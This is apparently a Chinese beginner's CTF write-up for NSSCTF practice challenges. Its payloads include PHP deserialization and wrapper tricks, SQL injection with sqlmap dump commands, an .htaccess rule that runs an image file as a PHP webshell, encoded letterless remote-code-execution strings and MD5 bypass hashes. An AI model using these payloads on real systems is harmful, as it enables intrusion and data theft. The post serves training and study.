[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](http://pic.ttrar.cn/nice/%5bSWPUCTF%5d20.jpg)
[SWPUCTF] 2021 新生赛(NSSCTF刷题记录wp)
-
- [SWPUCTF 2021 新生赛]no_wakeup
- [鹤城杯 2021]easy_crypto
- [suctf 2019]EasySQL
- [ZJCTF 2019]NiZhuanSiWei
- [强网拟态 2021]拟态签到题
- [BJDCTF 2020]easy_md5
- [SWPUCTF 2021 新生赛]easyupload3.0
- [SWPUCTF 2021 新生赛]hardrce
- [SWPUCTF 2021 新生赛]PseudoProtocols
- [SWPUCTF 2021 新生赛]crypto7
- [SWPUCTF 2021 新生赛]crypto8
- [SWPUCTF 2021 新生赛]error
- [NISACTF 2022]easyssrf
NSSCTF平台:https://www.nssctf.cn/
[SWPUCTF 2021 新生赛]no_wakeup
考点:反序列化
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/c1c04f91080b46e9b7978759b0f80146.png)
<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?
这里需要使得admin=admin并且passwd=wllm 即可获取flag 但是这里还需要绕过__wakeup()函数其实这里存在CVE-2016-7124漏洞
Payload:?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/3a7ed2416810412093587ad2d0baefdf.png)
NSSCTF{5acad0c1-bc24-410e-bffe-6c8896d54e46}
[鹤城杯 2021]easy_crypto
社会主义核心价值观编码:https://sym233.github.io/core-values-encoder/
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/228fe6eb113a49d7804f14b7df17f13e.png)
NSSCTF{IlUqU9O5guX6YiITsRNPiQmbhNRjGuTP}
[suctf 2019]EasySQL
考点:堆叠注入
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/e2ea1db5d4fd42388f7f8e345bc794ed.png)
输入0没反应输入1有 因为过滤了很多参数 这里我们直接堆叠注入即可。
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/43d4303660a244d98e12c368b180c32e.png)
1; show database; ## 爆数据库名
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/4f5fd8e5164c43028edc6d97d7d3ee8b.png)
1; show tables; ## 爆数据表
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/5ffef7065e4c483cafe44e2b26003ee8.png)
之前第一篇的使用有讲过可以猜测 所以用到* 查看所有 *1,(不太会sql 只能记命令,呜呜呜)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/c522e2a50bf74caab62f7e2db10120ef.png)
[ZJCTF 2019]NiZhuanSiWei
考点:代码审计和伪协议
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
这里来看一下代码大概的意思 这里有3个GET传参 先来看第一个if
- isset()函数:用于检测变量是否已设置并且非NUL
- file_get_contents()函数 :把整个文件读入一个字符串中
如果传入的text不为空;那么file_get_contents到text的内容必须等于后面的welcome to the zjctf
这可以通过伪协议去绕过第一个if:?text=data://text/plain,welcome to the zjctf
preg_match() 函数:执行正则表达式匹配,文件中不能出现flag。我们先尝试直接访问useless.php
通过php://读取到uselist.php文件内容:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/aafe0e1815cd49ff9846fe919534b87f.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/2308b448380844ecbb19a8f9a0720678.png)
解码后源代码:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
使用在线工具:https://c.runoob.com/compile/1/ 序列化对象后赋值,查看源码得到flag
<?phpclass Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
$a=new Flag();
echo serialize($a);
?>
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/c0027cf755b14f048aa7b4add3aaed42.png)
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
O #对象 变量类型
4 #类的长度
1 ## 属性数量(类的变量个数)
s # 代表字符串
Payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/1b7e56a6379842eabb70d6cbb9339b6d.png)
NSSCTF{05a42800-8e18-4a04-8fb3-266650e12f02}
[强网拟态 2021]拟态签到题
Base64解码:ZmxhZ3tHYXFZN0t0RXRyVklYMVE1b1A1aUVCUkNZWEVBeThyVH0=
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/0f381fd621f04c84ba24e6de56ffe54b.png)
NSSCTF{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}
[BJDCTF 2020]easy_md5
考点:ffifdyop绕过
随便输点然后抓个包有个hint提示 ffifdyop绕过
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/70221283cdd84e508323d41213e8f684.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/9eac32f813b54f92afa8f080e7ef5b8b.png)
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/c844750549cb41e8b9b5a89dd6c7650b.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/603b230cd9aa4c70ab84aad5c0a691a5.png)
弱类型比较 直接可以用科学计数法0e进行绕过 Payload:?a=s1091221200a&b=s155964671a
240610708
0e462097431906509019562988736854NKCDZO
0e830400451993494058024219903391s878926199a
0e545993274517709034328855841020s155964671a
0e342768416822451524974117254469s214587387a
0e848240448830537924465865611904s214587387a
0e848240448830537924465865611904s878926199a
0e545993274517709034328855841020s1091221200a
0e940624217856561557816327384675s1885207154a
0e509367213418206700842008763514s1502113478a
0e861580163291561247404381396064s1885207154a
0e509367213418206700842008763514s1836677006a
0e481036490867661113260034900752s155964671a
0e342768416822451524974117254469s1184209335a
0e072485820392773389523109082030s1665632922a
0e731198061491163073197128363787s1502113478a
0e861580163291561247404381396064s1836677006a
0e481036490867661113260034900752
这里还有一关代码审计 判断两个参数不相等 且md5值相等 所以这里需要数组绕过
param1[]=1¶m2[]=2
<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/0d17d6038c5a452799d2dbd0b6e994c2.png)
NSSCTF{7c1a1f48-e3b1-4c3c-a876-84698ea47e20}这flag提交不对哇擦~
[SWPUCTF 2021 新生赛]easyupload3.0
考点:.htaccess 解析图片马
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/74cb7ae6529d4746b61fa22d1946e628.png)
这里新建一个a.htaccess 内容如下,然后在上传123.jpg就可以解析了 然后上传成功使用蚁剑连接
<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/76292597a9014975b66a788f193738b7.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/66079618ca4249a98874a0d3b26e4a10.png)
NSSCTF{92184fe5-dadd-4cb1-98d2-5c553065110d}
[SWPUCTF 2021 新生赛]hardrce
考点:无字母RCE
这里参考大佬的文章:无字母RCE
无数字字母rce:就是不利用数字和字母构造出webshell,从而能够执行我们的命令
主要用到两种方法:1.异或 2.取反两种方法,这两种方法是目前来看最实用的两种方法。
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\\t','\\r','\\n','\\+','\\[','\\^','\\]','\\"','\\-','\\$','\\*','\\?','\\<','\\>','\\=','\\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
这里参考大佬博客:https://blog.csdn.net/miuzzx/article/details/109143413
system是(~%8C%86%8C%8B%9A%92)
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c%df%d0);
脚本(套神):
s = "ls"
for i in range(len(s)):print('%'+str(hex((255)-ord(s[i]))[2:]),end='')
然后cat /flllllaaaaaaggggggg即可。
?wllm=~(~%8C%86%8C%8B%9A%92)(~%8b%9e%9c%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/e07051041d6444d6acb70a06df91d5f9.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/57d5cca382b1450084c25f7d277dbbcf.png)
[SWPUCTF 2021 新生赛]PseudoProtocols
考点:伪协议
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/ed988b51c6bd4ee18a981b90eff8e1f8.png)
这里给了提示找到hint.php 然后url 里面有个wllm参数 直接使用伪协议然后访问test2222222222222.php进行代码审计
Payload:php://filter/read/convert.base64-encode/resource=hint.php
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/bd612bb354b24d09bb4107bfbd27a846.png)
Base64解码:PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/5666c7d7ff1744eb95dbbc46258610b0.png)
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){echo "success\\n";echo $flag;
}
?>
a参数利用file_get_contents()函数已只读的方式打开,如果内容等于I want flag的话输出flag。
可以使用两种:
①:php://input 打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。
②:data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数。
PayLoad:?a=data://text/plain,I want flag
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/150bce8ed7a34942b7007e75e91e0115.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/fa631aac17f54b90962590c2f45f104a.png)
NSSCTF{208f041b-4756-4c52-96ae-b07e84395615}
[SWPUCTF 2021 新生赛]crypto7
MD5解密:https://www.cmd5.com/
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/ff0308a890a9422b896495bcbab85133.png)
NSSCTF{md5yyds}
[SWPUCTF 2021 新生赛]crypto8
uuencode解码:http://www.metools.info/master/uuencode158.html
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/15fff61dee1a4cb982d22e91b6a88760.png)
NSSCTF{cheese_is_power}
[SWPUCTF 2021 新生赛]error
考点:sqlmap的使用
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/c8121a01db1d4f67a3f327aadf008847.png)
随便输入一个1’ 发现报错 存在字符型注入
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/df3b600ee62c4a929bf10bd04f7aae47.png)
直接使用sqlmap工具:
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" --dbs #列出数据库
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/a234377b31644c8e93bd0861bc3cf5c0.png)
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_test --tables #列出表
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/021aecefcaac47e0b7c942aca06b9e83.png)
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb --columns #列出字段
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/a6f1dffa4e2c4fd2a013766d517f46db.png)
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb -C flag --dump #查看flag值
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/5d0f2b4eb2ca403a9a661f7211e759ee.png)
NSSCTF{1b1761ce-d458-4f91-8912-11c62cda2779}
[NISACTF 2022]easyssrf
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/68f6db38e0a34f649e13474c4bc3af60.png)
这里直接使用file://读取在/fl4g下面得到了一个ha1x1xu1u.php
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/8ffe881d37fc41e8ad943aebdf7d8493.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/94a976749e1f4a19bd24e97214a2a03c.png)
<?phphighlight_file(__FILE__);
error_reporting(0);$file = $_GET["file"];
if (stristr($file, "file")){die("你败了.");
}//flag in /flag
echo file_get_contents($file);
Payload:?file=php://filter/read/convert.base64-encode/resource=/flag
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/e671b9a6977a443b9da5225418552481.png)
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/87cde00b9b634975855826a26c5b6c96.png)
NSSCTF{6347b3f0-35b6-42de-92b2-32d6114f6a63}
![[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②](https://img-blog.csdnimg.cn/6df5ae7c3b164244ac58384c4b661b19.png)
🆗感谢大家观看 第二篇就先到这里了,我也是刚入门,希望对刚入门CTF想刷题的小伙伴有帮助感谢大家的支持!


